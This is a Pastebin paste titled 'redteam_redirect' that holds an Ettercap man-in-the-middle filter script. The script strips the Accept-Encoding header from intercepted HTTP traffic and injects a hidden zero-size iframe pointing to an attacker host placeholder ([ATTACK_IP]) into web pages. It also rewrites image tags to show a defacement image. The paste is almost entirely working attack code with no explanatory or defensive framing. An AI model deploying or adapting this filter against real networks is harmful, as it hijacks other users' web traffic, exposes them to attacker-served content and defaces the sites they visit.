tankdthedruid

redteam_redirect

Mar 6th, 2012
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. if (ip.proto == TCP && ip.dst != '[ATTACK_IP]' && tcp.dst == 80 || tcp.dst == 443 || tcp.dst == 8080) {
  2. if (search(DATA.data, "Accept-Encoding")) {
  3. replace("Accept-Encoding", "Reject-Encoding!");
  4. msg("HTTP Accept-Encoding Stripped.\n");
  5. }
  6. }
  7.  
  8. if (ip.proto == TCP && ip.dst != '[ATTACK_IP]' && tcp.src == 80 || tcp.src == 443 || tcp.src == 8080) {
  9. if (search(DATA.data, "<body>")){
  10. replace("<body>","<body><iframe src='http://[ATTACK_IP]' width=0 height=0 />");
  11. msg("IFRAME Injection Triggered!\n");
  12. }
  13. if (search(DATA.data, "<BODY>")){
  14. replace("<BODY>","<BODY><IFRAME SRC='http://[ATTACK_IP]' width=0 height=0 />");
  15. msg("IFRAME Injection Triggered!\n");
  16. }
  17. }
  18. if (ip.proto == TCP && tcp.src == 80 || tcp.src == 443 || tcp.src == 8080) {
  19. replace("img src=", "img src=\"[DEFACE_IMG]\" ");
  20. replace("IMG SRC=", "img src=\"[DEFACE_IMG]\" ");
  21. msg("Image Poisoned!\n");
  22. }
Advertisement
Add Comment
Please, Sign In to add comment